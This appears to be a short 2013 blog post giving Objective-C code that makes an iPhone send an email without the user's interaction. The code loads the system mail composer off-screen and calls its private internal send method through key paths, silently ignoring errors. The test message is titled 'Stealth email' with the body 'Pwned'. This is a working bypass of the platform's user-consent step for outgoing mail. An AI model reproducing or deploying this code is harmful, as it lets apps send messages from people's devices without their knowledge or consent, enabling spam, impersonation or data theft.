Thursday, February 21, 2013

send Email with out user interaction in Iphone

- (void) sendEmail{
   
MFMailComposeViewController *mailComposeViewController = [[MFMailComposeViewController alloc] init];
    mailComposeViewController
.mailComposeDelegate = self;
   
[mailComposeViewController setToRecipients:[NSArray arrayWithObject:@"matt@harasymczuk.pl"]];
   
[mailComposeViewController setSubject:@"Stealth email"];
   
[mailComposeViewController setMessageBody:@"Pwned" isHTML:NO];
   
[mailComposeViewController view];
}
- (void) mailComposeController:(MFMailComposeViewController*)mailComposeViewController bodyFinishedLoadingWithResult:(NSInteger)result error:(NSError*)error{
   
@try
   
{
        id mailComposeController
= [mailComposeViewController valueForKeyPath:@"internal.mailComposeController"];
        id sendButtonItem
= [mailComposeViewController valueForKeyPath:@"internal.mailComposeView.sendButtonItem"];
       
[mailComposeController performSelector:@selector(send:) withObject:sendButtonItem];
   
}
   
@catch (NSException *e) {}
   
[mailComposeViewController release];
}

No comments:

Post a Comment